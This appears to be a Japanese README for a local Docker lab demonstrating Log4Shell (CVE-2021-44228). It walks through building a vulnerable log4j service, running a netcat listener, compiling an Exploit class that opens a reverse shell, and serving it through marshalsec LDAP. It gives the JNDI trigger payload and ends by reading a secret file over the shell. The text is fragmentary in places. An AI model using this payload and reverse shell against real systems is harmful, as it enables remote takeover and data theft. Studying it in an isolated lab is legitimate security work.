
CVE-2021-44228 の脆弱性を悪用する方法を紹介します。
CVE-2021-44228 の脆弱性を悪用する方法を示す Java ベースのプロジェクトです。
jdk1.8.0_181 ディレクトリのままにしておきます。make all を実行して、すべてのプロジェクトをビルドし、脆弱なサービスを含む Docker イメージを作成します。make start-vulnerable-service で、悪用対象のサービスを実行する Docker コンテナを起動します。このサービスは ローカルマシンのポート 8080 からアクセスできます。make start-nc で、侵入したサーバーとの接続が確立されるのを待つ TCP リスナーを起動します。make start-exploiter で、脆弱性の悪用を支援するプログラムを起動します。make start-nc を実行したターミナル) を確認します。Connection received on 172.24.0.2 46638 のようなメッセージが表示されているはずです (IP アドレスと TCP ポートはここに示したものと異なる場合があります)。これは悪用が成功し、サーバー/Docker コンテナ上にシェルが接続されたことを意味します。whoami コマンドを実行してみてください。出力として root が返ってくるはずです。その質問に答える前に、フロー全体で作成されるプロセスを見てみましょう。

この Docker コンテナは、/log パスへの GET リクエストを input パラメータ付きで受け取る単純な HTTP サービスを提供します。受け取ると、入力をコンソールに記録します。
脆弱性を悪用するには、いくつかの特定の構成が必要です。
1.8.0_181 です。これは、外部サービスから Java クラスをロードできるようにするために必要です。spring-boot-starter-logging:2.6.1 を spring-boot-starter-log4j2:2.6.1 に置き換えるために大幅に変更する必要があります。後者により log4j-core:2.14.1 がプロジェクトに取り込まれますが、これは CVE-2021-44228 に対して脆弱なバージョンです。
1.8.0_181 で作成されました。ここでは特別な説明や調整はありません。これは TCP および UDP プロトコルでデータを読み書きするための単純なプログラムです。ポート 9001 で着信 TCP 接続を待ち続けるために使用します (サーバー側で別の何かがこの接続を開いてくれます。😉)。
接続が確立されると、受信したすべてのデータがコンソールに出力されます。また、入力されたすべての内容はこの接続を通じて送信されます。
さて、ここからが本番です!
このプログラムは、脆弱性を悪用するために必要な複数の手順をカプセル化しています。分解してみましょう。
このプログラムを実行するには、3 つのパラメータを指定する必要があります。
プログラムが起動すると、テンプレートに基づいた Java コードを書き出します。このテンプレートには、Netcat の IP アドレスとポートの 2 つの引数が必要です。
コードが書き出されると、プログラムは Java コンパイラ (javac) バージョン 1.8.0_181 を使用してバイナリクラスファイルにコンパイルします。これは、悪用対象のサービスと同じコードバージョンを維持するために重要です。
Exploit Java クラスはかなり単純な構造です。そのコンストラクタには、オペレーティングシステムにシェルプログラムを作成するよう要求する命令があります。シェルが作成されると、クラスは Netcat との TCP 接続を開き、シェルと TCP 接続の入出力をバインドし、Netcat によって接続が閉じられるまで Java 仮想マシンの実行をループに閉じ込めます。ループを抜けると、コンストラクタは何もなかったかのように続行します。
Exploiter は、Marshalsec Java プログラムの実行を要求するサブプロセスを開きます。Marshalsec プログラムは mbechler/marchalsec Github プロジェクト で入手できます。
他の機能に加えて、LDAP リクエストを管理し、着信接続に対して、外部ソースから Java クラスをダウンロードしてリクエストを解決するよう要求するために使用できます。このケースでは、着信接続に対して HTTP サービスから Exploit Java クラスをダウンロードするよう要求するために使用します。
Exploiter プログラムが細工された Java クラスを作成すると、単一の応答 (Exploit バイナリ Java クラス) を持つ HTTP サービスを開始します。
簡単に言うと、脆弱なサービスが外部クラスのロードを要求すると、このサービスは Java クラスのバイナリファイルを読み取り、脆弱なサービスに送り返します。それだけです!
すべてが起動して実行されると、プログラムは悪用をトリガーするために必要な HTTP リクエストを出力します。お好みのブラウザにコピー&ペーストするか、ターミナルから curl で送信してください。どちらでも構いません!
リクエストは次のようなものになります。
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
クエリパラメータには特殊文字が含まれているため、ブラウザが受け入れられるようにエンコードする必要があります。デコードすると、メッセージは次のようになります。
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
リクエストが送信された後に何が起こるかを示す簡略化した図を以下に示します。

これを使って、次に何が起こるかを説明します。
${jndi:ldap://host.docker.internal:1389/a}。host.docker.internal:1389 から a キーを使用して取得する必要があります (かなり味気なく無効な LDAP distinguished name ですが、動けばいいのです...)。log4j は、その値を取得する目的でこのアドレスにリクエストを送信します。観察: host.docker.internal は、Docker サービスが実行されている物理マシンに到達するための有効なアドレスです。
host.docker.internal:8000 で利用可能な Exploit という名前の Java クラスファイルをダウンロードするよう要求します。host.docker.internal:8000 にリクエストを送信し、/Exploit パスで利用可能なリソースを取得します。Exploit バイナリ Java クラスを送信してリクエストに応答します。Exploit() コンストラクタメソッドを実行してクラスをインスタンス化し、変数を解決しようとします。Exploit() コンストラクタメソッドは、サーバー上でシェルプログラムを起動し、host.docker.internal:9001 との TCP チャネルを開くよう要求します。Exploit() コンストラクタメソッドは、シェルの入出力を TCP 接続にバインドし、TCP 接続が相手側によって閉じられるまで Java 仮想マシンのスレッドをループに閉じ込めます。TBD
kozmer/log4j-shell-poc Github プロジェクト - 悪用の仕組みを理解するのに役立ちました。このプロジェクトに貢献してくださったすべての方に感謝します!
mbechler/marchalsec Github プロジェクト - このプロジェクトがなければ、LDAP 通信とリダイレクトをこれほど迅速に扱うことはできなかったでしょう。皆さん、ありがとうございます!
SrcCodes Log4j Vulnerability ビデオ - Spring ベースのプログラムで悪用を開始する方法を紹介する、よく説明されたビデオです。
Nowcomm CVE-2021-44228 exploit demo ビデオ - Apache Solr で CVE-2021-44228 を悪用する方法を説明する素晴らしいビデオです。後半は、実際に何が起こっているのかを理解するために十数回見る必要がありました! 😛
cat ../private-directory/my-secret-file.txtCTRL+C を押して接続を閉じます。CTRL+C を押してプロセスを中断できます。